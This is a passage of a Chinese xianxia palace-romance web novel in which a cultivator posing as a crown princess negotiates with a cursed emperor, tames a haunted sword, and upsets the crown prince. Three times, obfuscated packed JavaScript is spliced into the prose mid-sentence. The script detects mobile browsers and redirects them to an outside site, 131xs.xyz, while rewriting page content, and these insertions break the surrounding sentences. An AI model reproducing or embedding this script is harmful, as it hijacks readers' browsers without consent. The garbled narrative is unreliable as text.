素兰和林氏身边的侍女是好友,多日未见,相携着去外头烧些热水回来备着,房中徒留下母女二人与余初晏。 林氏打开沉重的包裹,内里还有厚厚几层,防水油纸裹着今年的新炭,一层裹着几件厚实的冬衣。 “这些日子降温,怕你在寺中炭火不足,别冻着了,今日得空忙给你送些来。” 说话间又拿出新衣比划,“看你长高了些,早些时候做的冬装怕是小了,忙赶制了几套……” “哎呀!家中还有几件做给阿晏的,早知今日阿晏在此,便不叫丛儿送去东宫了。” 听还有自己的份,余初晏望来,漂亮的眼睛里盛着疑惑,“宫里有为我准备,夫人何必多费心思?” 林氏却是将余初晏唤来身边,“替嫁之事,终究是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501164|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李家之过,在我心里你和蓉儿无异,替你做些冬衣也是应当的。” 她温暖的指尖磨砂着余初晏的手腕,“况且宫中新制的,只怕还是蓉儿的尺寸,你看这袖子短了半截。” 余初晏垂眼看她动作,莫名想起了师尊,师尊也爱给她炼法衣。 虽说法衣会随主人身形变化,根本无须每年都炼,但师尊就爱炼,积攒了十八套在须弥戒中,多数她从未穿过。 她十八岁那年起,就无人会为她炼法衣了。 余初晏到底没能拒绝林氏的好意,捧着手中的热茶,听几人闲聊。 李晓蓉将离家一个月所见所为,抹去了其中众多苦楚,讲与家人听。 素兰听得时而向往,时而愤怒,“聿少爷怎么是这样的人!亏老爷还怜他父母双亡,愿意收他做学生!” 张聿的父亲服侍太傅家多年,母亲也一直是林氏贴身婢女。 几年前他母亲因病过世,林氏做主去了张聿的奴籍,又让太傅收他做学生,给了他考取功名的机会。 太傅夫妻二人也将他与女儿情意看在眼中,此前也曾想过,只要女儿喜欢,便认了这乘龙快婿也无妨。 却不料世事无常。 “张管家前些时日自觉愧对主家,已经自请卸任离开,你父亲应允了,多半北上去寻张聿。” 林氏长叹不已,心中虽有对张聿的怨怼,但听他当时手脚皆断,此时更是不知生死,便息了怨怼心思,当没这个人。 只是她从丈夫口中听闻事情败露,余初晏将要离京,皇帝不曾多言,这场闹剧如何收尾,端看她李家的态度。 林氏知晓女儿不愿进宫,先前也打着能拖一会是一会的心态。 今日一见余初晏,以为她是来告别的,再拖下去也只徒增烦恼,今日她必须做一回狠心的母亲。 “母亲!此番我离京,见识过外面的风景,还是月凰国那边让女儿心生向往,等父亲致仕,我们一家便搬去湖州罢!临近月凰,又……” 眼前李晓蓉还在畅想着日后再能故地重游。 林氏神色一肃,厉声道:“蓉儿你不顾身份、不顾爹娘离开时,可曾想过事情败露,爹娘与阿晏该如何自处?如今圣上已知晓此事,蓉儿你又做何打算?万不可再任性,让阿晏难做!” “什么?陛下已经知晓了!”李晓蓉和素兰皆是大惊失色,目光纷纷落到余初晏身上。 “陛下可要治李家的罪?阿晏呢?陛下说过要怎么处置阿晏吗?”李晓蓉在屋中焦急转两圈,决然道, “娘亲,此事是蓉儿不对,蓉儿自请面圣,愿意承担所有责罚,死不足惜……” “也没那么夸张。”余初晏泰然自若,“皇帝应当是不会追究了,与其面圣,不如就此彻底离京,反而是我之过,使得晓蓉做不成太子妃了。” 啊,太子待李晓蓉如何,余初晏却是不知。 万一小龙崽子还是想晓蓉做他太子妃呢,看晓蓉万般不愿进宫的样子,若小龙崽子真这么想,她得想法子打消这念头。 林氏神色带着不赞同,“玉蝶已入,纵是蓉儿死,也一直会是皇室之人,圣上未曾表态,身为臣子,不能随意揣测圣心,蓉儿必须入宫去。” 母亲语气不容商议,李晓蓉接受了现实,短暂的离京就当是余初晏送给她的一场美梦,她将重新回到樊笼之中。 李晓蓉深吸一口气,“我这就去收拾东西。” 余光瞥见林氏带上来的大包裹,她眼中闪过众多思绪,“这些炭火蓉儿用不到了,捐给寺庙罢。” 余初晏懵了小会,每次她一发呆,事情就会朝着她不可预料的方向发展,她只是闲得无事来探望晓蓉,不知怎地却发展成晓蓉将要进宫请罪。 除了她还安坐在桌前,另外四人忙忙碌碌,先前说笑的气氛全无,只余下压抑。 屋外惊雷俞发急促,像是催促她一同进宫面圣。 余初晏回望已经有些空荡的厢房,与李晓蓉一同站在廊檐下,仰视阴沉的天空。 “阿晏,自由是何种感觉?”李晓蓉问。 余初晏想了想,“想去哪去哪,想做就做,想吃就吃——”还有想吸龙气,就有龙气来。 李晓蓉笑了,“真好!阿晏你要一直自由下去。” 林氏在前院催促,素兰替李晓蓉撑起伞,她提起裙摆,缓缓向前。 “我跟你一起进宫。”余初晏踏出廊檐,雨忽然在这一瞬停了,云层中有阳光透出。 到底是被天道拿捏了,余初晏望向远处隐约可见的紫气,不就是救皇帝吗,这个因果,她承下了! 转头抬手抹去李晓蓉脸上的水珠,“我会一直自由,晓蓉你也是,所以别哭了。” 8. 太初之初,海晏河清 一行人与主持辞行时,撞见了来找余初晏的太子。 免过林氏的行礼,赵景泽口中与她寒暄着,眼睛却四处寻找目标。 林氏心下了然,引着太子往前院去。 半高的松树枝干上挂满祈福的红绳,两名年岁相仿的少女并肩站在树下。 风吹过,松针上残余的水珠簌簌低落,更高挑些的女子随意扬手,水滴避开两人撒向四周。 赵景泽一眼认出了他的太子妃,张口想唤,却想起“李晓蓉”并非她真正的名讳。 恰好此时,余初晏回头,两人目光对上。 赵景泽按捺不住向前两步,胸腔里的心脏怦怦直跳。 另一名少女侧头,扬着手中的祈福带,口中说着什么。 余初晏的目光被引走,“要挂多高?” 李晓蓉抬头望了望,“越高越好吧——哎!阿晏!也不至于去到顶上啊!” 原来她叫阿晏,赵景泽心想,不知哪个晏,说不定是燕子的燕,看她就像飞燕般灵巧。 余初晏轻巧地跃上枝头,将红带绑在了油松顶,独树一帜,格外显眼。 待她稳稳落下,林氏轻咳两声,提醒赵景泽的存在,她方才被余初晏突然窜上高空吓得提心吊胆,此时才想起来出声。 “太子,向统领。”余初晏敷衍地打个招呼。 连“阿泽”都不唤了,赵景泽委屈。 李晓蓉第一次见太子,手忙脚乱行礼。 “那是真正的李晓蓉小姐。”向晖压低声音,提醒太子。 赵景泽瞪他,“用你多嘴?本宫看不出吗?” 余光瞥见余初晏要走,他忙出声,“蓉……阿晏!” 余初晏停下了,她不是要走,只是捡回李晓蓉被风吹走的发带。 “今日有些晚了,估计来不及进宫。”余初晏将发带放回李晓蓉手心,“你先和夫人回去。” 扭头又问素兰,“你呢?” 素兰觑一眼僵立的太子,低声回:“我跟阿晏小姐一起。” 可不能让阿晏小姐孤身一人回东宫。 眼见被忽略的太子脸色几经变化,从失落到懊恼,又染上怨色,余初晏终于看向太子,“太子带了侍卫一起吗?” 赵景泽眼睛一亮,“本宫让他们等在寺外。” 余初晏点头,“那便让他们搭把手,将夫人和晓蓉送回府上,可以吗?” “这是自然,临近黄昏,再晚些就该关城门了,本宫的人会将夫人和……李小姐安全送回李府。” 太子这幅殷勤的模样,向晖简直没眼看,沉默地向前接过林氏手中的行囊。 林氏忙道:“这可使不得,哪能麻烦殿下的人相送。” 余初晏一句话堵住她,“夫人无需推拒了,早些回府也好和李大人商议后续行事。” 李晓蓉回望一眼余初晏与太子,面带沉思,与林氏一同离开。 素兰有眼力见地留下一句,“我送送夫人”,便直接溜走。 余初晏刚想迈步,却见太子还傻傻站在原地,不解,“太子殿下今日是来祈福的吗?” 赵景泽快步走到余初晏身边,与她并肩,“本宫来找你的。” “你骗本宫也就罢了,什么也不解释,连着几日将本宫关在门外!想外出也是说走就走,也不告知本宫去处,何时回来。” 噼里啪啦说了一堆,赵景泽越说越气,太子当成他这样,也是独一份。 “最主要的是,你连名字都未曾告诉过本宫,难怪本宫唤‘蓉儿’,你都不怎么搭理。” 看他不像是生气,反而面露委屈,语气哀怨。 余初晏转念一想,既然她还是打算帮老龙了,那小龙崽子还是得哄好,不然她从哪补龙气,补亏空。 反正事情已经成这样了,不如恢复自身容貌与名讳,想通后,她道,“余初晏。” “年年有余的余,太初之初,海晏河清。” 夕光中,她的眉目细微的改变,原本圆润的杏眼变得狭长而凌厉,眼尾与眉尾皆是上扬斜挑。 眼黑如墨,亮而有神。 一直紧紧注视着她的赵景泽,自然没有错过这番变化,心知这才是余初晏真实容貌,肆意且张扬。 “那我们就算重新相识。”赵景泽学着余初晏般开口, “赵景泽,赵钱孙李的赵,景星麟凤,润泽无声。” 说罢,赵景泽粲然一笑,心里反复念着“余初晏”三个字,虽说不是燕子的燕,晏清之晏反而更适合她。 最主要,和他名字一般,又有日又有水,天造地设。 也不知他傻乐什么,余初晏脚下未停,身体暗中运转功法,开始吸收龙气,几日未曾吸收,她得速速补回来。 “阿晏。”赵景泽喊。 余初晏闻声望来。 “她们都这么唤你,本宫也合该如此,是吧,阿晏。”赵景泽理所应当地点头。 “随你。”傻子,喊个名字这么高兴,余初晏心中腹诽,嘴角却微微扬起。 - 回东宫用过膳,好说歹说将赵景泽劝回去,答应他就算要走也会提前告知他。 余初晏将做重要之事前喜欢卜算一卦,虽然舍不得到嘴的龙气,但晚上她要做法卜算。 还需从芥子里翻找逆阵的材料,芥子里东西太多,好歹算是九阙派的全部身家。 连着几卦皆是事事顺遂的上上卦,余初晏眉心一蹙,深刻怀疑是天道老狗故意在干扰她的卦象。 遂威胁道:“你再动我卦象,劈死我我都要连夜离开青渊!” 卜算的灵龟壳无风自动,很快又趋于平静。 没了天道干扰,卦象果然变化,中上卦,谈不上好,明面上亨通畅达,实际暗藏凶机。 料想逆阵后幕后之人肯定会出手,敢窃取皇运之人,应当不是等闲之辈,也不知他修为如何,又有何种手段。 余初晏又算了卦,上上,逢凶化吉,贵人相助。 思来索去,余初晏收起龟壳,也罢,既然答应了天道,那就全力帮助青渊帝。 至于躲在暗处的老鼠,遇上了再说。她手里还有众多师尊留下的保命法器,除非大乘期大能,其他她都不放在眼中。 有家底就是这么任性。 第二日有大朝,皇帝身体不适,由太子代为主持。 天还未亮,便有人来听荷殿传话,说是太子妃醒后若是进宫,无需等太子。 一夜未睡的余初晏将院中交谈听得一清二楚,心道这青渊帝应当还没到无法上朝的地步吧,真到了昨日太子怎不找她说此事。 回想一下,赵景泽确实表现得全然不知她能救皇帝而不救的模样,难不成青渊帝未曾告知他。 还是说短短几日,他们又找到了别的法子能救命? 趁着太子还未下朝,余初晏独身一人前往紫宸宫,光是见周围笼罩的紫黑色浓雾,就知道皇帝身体虽未到末路残烛,但也撑不了多久。 守在殿外的小太监知她是太子妃,却不知她为何清晨独自前来。 往内通传没多久,那日见过的总管太监扭着水桶腰便闪到余初晏面前。 瞧他满脸憔悴,眼里暗藏悲伤,强撑着笑容与余初晏见礼。 顶着总管太监期待的目光,余初晏神色平静,直接表明要见皇帝。 总管太监面露难色,“今日皇后娘娘也在殿内……” 余初晏疑惑,皇后在殿内她就不能入内吗? “娘娘和几位小殿下还不知您的身份……”总管太监语气委婉,视线一刻不离余初晏的脸色,他暗想这位小仙之前似乎不长这样? 果然青渊帝没有将她的事全然告知其他人,虽然不知道他出于什么目的。 余初晏稍加思索,不管什么目的,她都会出手相助,不过在此之前先要点好处。 表现得太轻松,这群人就不会珍惜她。 念此,不怎么在意回,“无妨,我今日来有些事想跟陛下商议,陛下能答应的话……” “一切都好说!只要小仙能救陛下一命!”总管太监激动之下,又要下跪扑倒余初晏脚边。 灵敏撤出几步,不让他碰到自己的衣角,余初晏心道:凡人可真是随随便便就下跪。 “先不急,等陛下答应再说,皇后娘娘知晓也无事——起来,带路!” 总管太监以一种不符合体型的灵巧跃起,恭身走在余初晏身前,神情谄媚,“奴才汪朝顺,那日多有得罪,幸得小仙宽宏大量,不计奴才之过……” “也不知小仙要准备些何物,可有什么珍稀之物要提前准备?这诅咒解除后,陛下可会有什么其他影响……” 絮絮叨叨了一路,余初晏忍不住打断,“我还未答应施术,只是来与陛下商议。况且此事又拖延了几日,我可不保证自己有把握救下现在的陛下。” 才怪,只要人不死,她就能救回来。 汪朝顺笑意一僵,也不再多言,老老实实引路。 端着汤药的春柳瞧见这一幕,心中疑惑,先一步进入殿内通传皇后娘娘。 “太子妃?”宋瑛微讶,“她来做什么?” 春柳回:“奴婢不知,瞧着汪公公对殿下万般恭顺,娘娘您说,怕不是太子已经知晓了……” 宋瑛沉默,太子迟早会知晓的,皇帝如今的状况也瞒不了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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皇后虽表现出不愿计较的态度,语气比之前冷淡了不少。 余初晏简单地报了自己的名字。 宋瑛在心底过了遍,都说名讳可以看出父母对孩子的期望,可见眼前的女子的父母对她寄予厚望,也不知她可担得起。 皇帝低咳几声,宋瑛当即回头,却是空欢喜一场,青渊帝眉目紧闭,不见转醒。 无心再应付旁人,宋瑛出声送客,“人你也见过了,回去好好劝劝太子,他是长兄又是一国太子,未来一国之君,当自勉……” “娘娘!”汪朝顺终于张嘴打断皇后。 余初晏也向前两步,“皇后娘娘,我有事和陛下商议,还请娘娘让我细看一眼陛下。” 宋瑛眉心紧蹙,锐眼如刀射来,“什么意思?” 汪朝顺连忙躬身解释,余初晏却不管宋瑛信不信,径直来到塌前。 “娘娘手中的匕首收一下,我若是要伤陛下早就动手了。”余初晏手指轻轻抵在宋瑛肩膀,看似没用力气,后者半边身体发麻,已然不能动弹。 拿出昨晚制好的符篆,捏在手中,无声咏过一段咒语,朝着手中吹口气。 那符篆无风无火却化作齑粉,散在空中。 龙塌之上,青渊帝因病痛皱紧的眉心舒展开,面上青紫之色都褪去不少。 余初晏松口气,她的符篆第一次用在人身上,还好生效了。 她转头对着惊骇不已的宋瑛与汪朝顺道:“去将殿内门窗敞开,地龙与熏香都不要燃,皇后娘娘留在此处,屋顶上那几个也一并留下,其他人……” 余初晏环视一周,皇帝身边近身伺候的宫人或多或少沾上了黑气,加之他们本身气运不足,更容易被侵蚀。 “其他人都离开,汪公公可以留下。” 汪朝顺这家伙也不知是因为心思太过纯善,黑气沾染得并不多,很快被他自身气运清理。 见识过她的手段,旁人不敢不从,宫人动了起来,余初晏也合拢纱账,离开寝宫,四下查探。 终于让她发现了诡异之处,此前她曾观察到廊檐下的雕花暗藏玄机,这紫宸宫内的特殊雕花几乎都被人动了手脚。 原本用于化解黑气的图案被转为聚拢黑气。 余初晏跃到梁上,仔细查看,部分地方漆似乎是新刷上的,有明显色差。 “陛下宫中曾修缮过吗?”余初晏问暗卫。 暗卫不敢有所保留,答道:“今夏,陛下曾离宫避暑,当时紫宸宫内房梁出现虫蛀,便修缮了一番。” “这些雕花被人动了手脚。”余初晏直言,“最好让陛下换个地方。” 这些被改变的雕花只是阵脚,因为黑气无论聚集再多一时半会也无法彻底伤害真龙。 真正的窃运阵眼另有它物。 这座皇宫被改变的雕花绝不止皇帝寝宫,余初晏预感逆阵会比她想象的还要麻烦。 头疼地揉眉心,这次不狠敲青渊帝一笔,她就亏大发了。 9. 条件 等把紫宸宫上上下下翻查个遍,已经午时。 期间皇帝已经从紫宸宫,转至已逝太后曾居住过的仁安宫。 余初晏粗略地检查一遍,这里未曾被动过。 她一发话,众人才心安下来,加紧布置宫殿。 皇后中途离开片刻去陪皇子们用早膳,听闻太子席间得知什么消息,草草吃了几口,便跑回东宫去了。 余初晏后知后觉,她离开东宫好像没有告诉太子,总不能跑回去找她吧。 不管他,余初晏拒绝了皇后的投喂,一头扎进芥子里翻找材料。 逆阵万能的凤凰血,只余下不到巴掌大的一小瓶。 此界凤凰早灭绝,除非踏破虚空去别的灵界寻,再无来处。 用一滴少一滴,余初晏心在滴血。 玉虚山上的灵石,这玩意很多,随手一捡就是一堆,正好太多了,堆在此处碍眼,拿出来用了。 雪莲,疗伤解毒,她反正百毒不侵,又有法衣护体,回头卖给青渊帝。 最主要还是制符篆,余初晏列了张凡间能找到的材料,打算一会交给汪朝顺去准备。 翻翻找找半个时辰,等余初晏顶着几分凌乱的发丝从芥子中出来,便看见青渊帝已经转醒,状态还不错,正在用膳。 见到余初晏忽然出现,不慌不忙拱手答谢,“多谢小仙出手相助,无论什么要求,只要不伤及百姓、伤及家人,朕自当全力而为。” 余初晏拢了拢长发,受了他这一礼,桌上还有皇后留给她的点心,她随意坐下兀自享用。 “陛下为何不将我的事告诉太子和娘娘。”到底还是问出心中的疑惑。 青渊帝目光坦然,直道:“因为没有必要,小仙此前不愿出手,既然告知太子与阿瑛不会改变结局,那何必让你与二人之间心生嫌隙。” 他说得诚恳,余初晏细想一下,又觉得有漏洞,那日御书房内人不算少,世上又无不透风的墙,太子迟早会知道,早晚的问题。 青渊帝既想太子与她交好,她念旧情帮青渊国一把。 又不想太子与她过于亲密,若她真见死不救,就能埋下隐患,日后赵景泽知道了,肯定会埋怨于她。 凡间帝王心思就是复杂,余初晏撇嘴,倒是没有戳穿他,反而提出了自己的条件。 “第一,李家太傅若是乞骸骨,希望陛下不要阻拦,放他一家离去。当然李晓蓉自然不会进宫重新成为太子妃。” 这点帝后并无异议,爽快答应。 既然郎不情女不愿,又何必强求。虽说欺君蔑视皇权,但李家劳苦功高,太傅清贫,罚他一年俸禄,已是小惩以戒。 皇后心里也有些许不满,太子天横贵胄,皇帝也是爱臣爱民,若是不愿一早提出便是,何必临头又替嫁,倒显得皇家逼嫁。 但若非替嫁,也不会遇上余初晏,陛下之祸无人化解,也算是福祸相依。 “第二件事,”余初晏目光炯炯,“我要陛下御书房那把青渊剑!” 在御书房那天,她就注意到那把高悬的宝剑了,乍一看死气沉沉,实际隐约可见灵气流动。 应当是某个殒命剑修的本命剑,总之是绝非凡人能够驾驭的上等灵剑。 余初晏虽然不是剑修,但学得很杂,什么都会些,既然有趁手的武器摆在眼前,那绝对不能错过。 这一要求,青渊帝有些犹豫,青渊剑是开国之剑,当年太祖于乱世之中,倾尽全力诛杀掀起战火的修真者后,得来的战利品。 虽说至今无人能让此剑出鞘,却是皇权的象征,何况…… 余初晏看出他的顾虑,“放心,我能拔出那把剑,也知晓你的顾虑,我在此发誓绝不会用此剑指向青渊国,更不会用它伤及无辜者。” 青渊帝心知,若是余初晏有对付青渊国之意,哪怕没有这把剑,她也能出手。 与其留在御书房作装饰,不如交到能发挥它真正用处的人手上。 青渊帝点头应允后,余初晏继续往下,“第三件事,整个过程若有需要,希望太子协助于我。” 尽管不知为何需要太子相助,这也不是什么难事,只有皇后问是否会危害太子,得到否定的回答后,此要求也算是应下了。 该如何跟太子解释,余初晏先抛到脑后。 “第四件事,事毕我会留在青渊修养一阵,毕竟此事颇费心神。我希望陛下发誓不会于事后伤害我,否则我也将违背我的誓言。” 原计划离开青渊因此作废,余初晏也不知会在这里待多久,顺带还打算要一套京中小院,如果不想留在东宫,她还有其他去处。 皇帝当即起誓,他并非忘恩负义之人,虽说对修真者保有一定警惕,但余初晏目前态度友好,他也没必要非与之交恶。 最后就是制符所需材料与京中小院,余初晏以公徇私,暗中夹带了些她懒得去寻的材料。 条件谈完,双方都觉己方占了便宜。 装作郑重其事的样子,将她制作的符箓交给暗卫,让他们按照她所绘制的方位布置,万不可出差错。 这些符箓每日替换挂上一周,将黑气汲取差不多后,余初晏才会进行下一步布阵。 交代所有事完,她便兴冲冲要去取青渊剑。 皇后陪她前往,算是代皇帝将剑转交给她。 - 今日虽说天气明朗,太阳照在身上却无多少温度。 因着仁安宫未燃炭火,宋瑛穿得很厚重,雍容华贵的脸拢在一圈狐绒中。 她与余初晏并肩走在宫道,只因余初晏说要在宫道附近顺势探查一番,便放弃了步辇。 宋瑛像是随口提到:“上午时分,太傅一家求见,本宫以陛下身体不适拒了,想必太傅是来请罪的。” “嗯,昨日李家夫人就想带晓蓉进宫,不过日头有些晚,宫中该落钥了,便先回家,想着第二日再做打算。”几张符箓从余初晏手中飞出,落到宫墙瓦上。 “替嫁一事,虽是答应你不再追究李家之责,但太子妃之位又该何处?太子可曾与你商议。” 宋瑛问得直白,目光也是直勾勾望着余初晏。 她原不想越过太子过问此事,但今晨问太子时,他态度含糊,支吾其词,膳后又匆匆离开。 知子莫若母,宋瑛哪看不懂他的心思,只怕他自己都未察觉。 只是余初晏显然不像是会被困在宫闱之中的人,实力高强,于皇宫之中来去自如,又是寿命难料的修真者。 宋瑛怎么看都觉得太子若是付出真心,怕是得不到回应。 而见识过如惊鸿般的女子,寻常人又怎会入眼。 思来索去,宋瑛还是决定帮太子问一问本人。 “阿晏,本宫可以这般唤你罢。”她执起余初晏的手,瞧着余初晏穿得单薄,手却温暖如玉, “太子还未及冠,心性不稳,却是难得赤子之心,你与他之事,本宫本不该过多插手,但作为母亲,却想问问你心中做何打算?” 虽然只相握一瞬,余初晏也感知到皇后的手很凉,手中有浅浅的薄茧,像是习武留下的。 她垂着眼,顺着皇后的袖口往上,落到那张与赵景泽七八分相似的容貌上。 赵景泽那双眉眼犹带青涩,带着涉世未深的肆意与少年气的蓬勃生机。而皇后眉目沉静,柔和气质下是对岁月的沉淀与游刃有余。 余初晏想了想,将这个问题抛回:“皇后娘娘希望我如何。” 宋瑛不知,感情上她更希望太子能与余初晏分开,因为太子留不住她,与其用情至深后离别生出是非,不如趁早将这缕新生的情丝斩于萌芽间。 理智上,她却想利用太子暂时留住余初晏,皇帝这事来得凶猛,也来得蹊跷,青渊能否度过危机,就看余初晏所作所为。 良久,久到余初晏都以为等不到皇后的回答,久到两人都已行至御书房。 宋瑛才缓缓开口:“本宫希望你继续以太子妃的身份留在青渊,直到你想离开为止。” 能不能留住余初晏就看太子自身了,作为母亲作为皇后,她只能做到这个程度。 对她的回答,余初晏有些意外,她侧首说:“我听说太子有心悦之人,他会愿意我一直占着太子妃之位。” 皇后的神情变得有些微妙,虽然不知余初晏从何得知这消息,她好歹还是为儿子辩解了一嘴,“放心,本宫了解太子,他确实有心悦之人,但太子妃只会是你。” 余初晏不甚在意,她需要的只是紫宸之气,而太子妃这个位置又足够便利。 既然皇后与太子都不在意,她又何须想太多,也当做是救助皇帝的报酬好了。 - 将青渊剑拿在手中的余初晏已经没多余的心思想别的,满心满眼只有这把剑。 通体黑色的剑鞘上绘制着古朴的符文,剑柄上刻着瑞兽麒麟首,灵力于麒麟目中汇入剑中。 从余初晏握住它起,长剑不住嗡鸣,似要冲鞘而出。 在众人惊异的目光中,余初晏只手紧握剑柄,一手缓慢拉开剑柄,露出一小寸透亮的剑身。 仅仅这么一小截,就引发天地异象,余初晏体内灵力被猛地吸走,连带着皇宫中所有灵力全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501166|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都汇聚于此,飓风阵阵。 陪同的暗卫只觉内力顺着这股忽如其来的风中抽离身体,无论他如何调息,都制止不了内力流失。 不仅仅是他,在场所有人都觉得有什么从身体中缓慢消失。 直到余初晏发力,将剑身重新塞回剑鞘之中。 她微微一笑,语气有些阴森,“这把剑有些不听话,娘娘我要离开一日,陛下那边不用担心,照常就是,等我回来。” 话毕,她的身影已经消失在御书房。皇后甚至没来得及回复,更未看清她是如何消失的。 短短半日经历太多,饶是见多识广如皇后,也有些恍惚。 下属问她接下来做何打算,皇后叹口气,摆驾回皇帝身边。 心中感慨,幸好,他们不曾与余初晏交恶。 身边光景飞速变化,眨眼的功夫,余初晏已经回到玉虚山中。 说是山,其实由众多鬼斧神工的奇峰组成,是一整片连绵的群山。 青渊剑彻底出鞘,没想到这柄剑上沾染了太多亡魂,有凡人有妖兽更有修真者,刚一出鞘,滔天的怨气差点将余初晏吞噬。 余初晏用它削了几座山头,又用自己的鲜血做引,花费一整晚才将剑彻底驯服。 之后还需慢慢将其净化,待到怨气彻底消散后,才可以正式使用。 在此之前,若是出鞘,虽不至于再吸取余初晏的灵力,但很可能会汲取周边人的生命力。 虽说是魔剑,也是难得一遇的上品,而且已经被她揍服了,余初晏很满意,像获得新玩具似的,拿着剑又削了几座山。 在玉虚山待了一天,又去祭拜了师尊,余初晏才捏符重返澧都。 回到东宫时,天色都暗沉了,宫中点着橘色的灯光。 想来帝后已经休息,余初晏便没去打扰,先行回到听荷殿。 殿内未曾点灯,从屋外看内里漆黑一片,只有门口与廊前燃着几盏昏暗的宫灯。 余初晏疑惑,应当还未到素兰的休息时间,她跑哪去了? 未作他想,余初晏推开了殿门,暗道素兰怎么连门都不栓。 微光顺着敞开的大门,先她一步挤入殿内,极佳的视力让余初晏看到黑暗中的方桌旁,正坐着一个人,看身形显然不是素兰。 余初晏终于想起自己遗忘了什么…… “我还以为,阿晏你不回来了。”那声音有些沙哑,听着像是在这冰冷的大殿里坐了挺久,“你答应过我的,去哪都会提前告诉我。” 连“本宫”都不用了,余初晏没由得一阵心虚,刚答应人家第二天就食言。 因为心虚,连语气都轻柔了几分,余初晏走近几步,“阿泽,我……回家了一趟,并非故意食言,只是忘记了……” 站到人面前后,余初晏才发现赵景泽只身穿常服,未着披风,无意间碰到他放在桌上的手,也是冰冷至极。 桌上还摆有已经凝固的饭菜,余初晏难得地生出了一丝丝愧疚。 “怎么一个人坐在这里,也不点灯。”随手一挥,殿内的蜡烛燃起,驱散了些许寒意。 她试图传唤宫女太监,却被赵景泽阻拦。 “阿晏的家在何处?”赵景泽突兀地问。 “在很远的地方。”余初晏随口敷衍,握着赵景泽的手,想替他暖暖,“穿这么少,你们凡……凡是生病了,就要很久才能调理好。” 赵景泽垂着眼,长睫遮去了眼中复杂的情绪。 他也不知自己为何情绪低落,总不能是因为余初晏根本不在乎他。 他不知道余初晏的身份、年芳几岁、不知她家住何处,对她的事几乎一无所知,连名讳都是刚刚知晓不久。 更不知哪一天,余初晏就会突然消失,而他除了等待什么都做不了。 心神不宁两日,又在殿内枯坐了几个时辰,若是余初晏不回来,他或许会一直等下去。 赵景泽搞不懂这样的自己,他抽回手站起身,指尖还带着余温。 “我先走了,太子妃早些歇下罢,今日是我打扰了。”说罢,闷头往外走,越走越快,最后甚至运起轻功,几息间便消失在听荷殿。 独留下余初晏,与不知何处冒出来的素兰,还有探头的宫女太监们。 “殿下这两日来了好几趟,每次您都不在。阿晏小姐……你去哪了?”连素兰都带上了显而易见的谴责,“好歹告知我一声,我也好转告殿下,免得他白等。” 余初晏挠挠掌心,完蛋,小龙崽子生气了,哄不好的那种,怎么办?怎么办! 都怪这柄可恶的青渊剑…… 10. 争吵 已是十二月中旬,再过半月就是新年,宫中忙忙碌碌筹备着。 原是担心皇帝身体状况撑不到新春,引起动荡,赵景泽才早出晚归外出找法子。 如今皇帝身体大好,赵景泽亲眼见过后,便放下心,替皇帝揽过筹备新春祭祖祭天的担子。 不过那位为父皇治病的大师神神秘秘的,赵景泽至今没见过她的影子,只从旁人口中听过几句敬畏之词。 今日惯例与皇后用早膳,弟妹七嘴八舌跟母后、皇兄分享这些天新背的经文。 若是以往,赵景泽听得起劲还会考校几句,看看他们学得扎不扎实,今日却是心不在焉,愁眉不展。 宋瑛见他这般,试探着问:“太子可是因着筹备祭祖一事太劳累了?明年春闺准备得如何,各地会馆可有分发炭火?” 赵景泽显然不想在此时谈公事,只道会用心筹备,不会有疏忽。 “你父皇如你这般大时,已经从你皇祖父手中接过大权,看看你如今像什么样?准备个祭祖而已,便一副心事重重、无精打采的模样。” 宋瑛语气不自觉带上严厉,一旁两位稚子噤若寒蝉,眼睛都不敢乱瞟,老老实实用自己的。 赵景泽心中有郁,不想听这些,索性银箸一放,“母后何必大早上就来教训儿臣?如今哪件事儿臣没有尽心尽力?只是昨晚没睡好,便让母后如此严厉,还拿出父皇压儿臣。” “母后不想见儿臣,那儿臣也免得自讨没趣,先行回东宫了。” 他真就起身作势离去。 宋瑛一拍桌,“坐下!本宫允你走了?” 赵景泽到底没那么硬气跟皇后对着干,但面子上过不去,虽然脚下动作停了,却是迟迟不肯坐回去。 贴身伺候的宋嬷嬷递上安神茶,目视宋瑛喝下,气也顺过后,才满脸不赞同地看向太子,像是质问缘何又惹娘娘生气。 赵景泽撇开了眼,语气还是硬邦邦,“母后可还有其他事,儿臣要务众多可不能耽搁,免得一个不慎,事后被母后说教。” “既然不是这些事,那便是跟阿晏吵嘴了。”宋瑛合上茶盏,交回宋嬷嬷手中。 昨晚余初晏回宫的事,早早有人报给皇帝,看太子这般,怕是她离宫回宫都未有告知太子。 赵景泽眼一瞪,嘴一撇,“连母后都知道她名字!恐怕只有儿臣一直被瞒在鼓里,连名字都是最后知晓。” 身旁的三公主赵堇淳忍不住弱弱开口:“皇兄,我和二皇兄也还不知道哦。” 被赵景泽呵斥回去,“关你两什么事!” “赵景泽,你现在是无法无天了,吼你弟妹做什么?”宋瑛极少连名带姓地喊太子。 眼见殿内吵成一团,春柳上前打圆场,询问皇后是否要撤下早膳。 除了太子又只随意用了些,其他几位都用得差不多,宋瑛便让人稍作收拾。 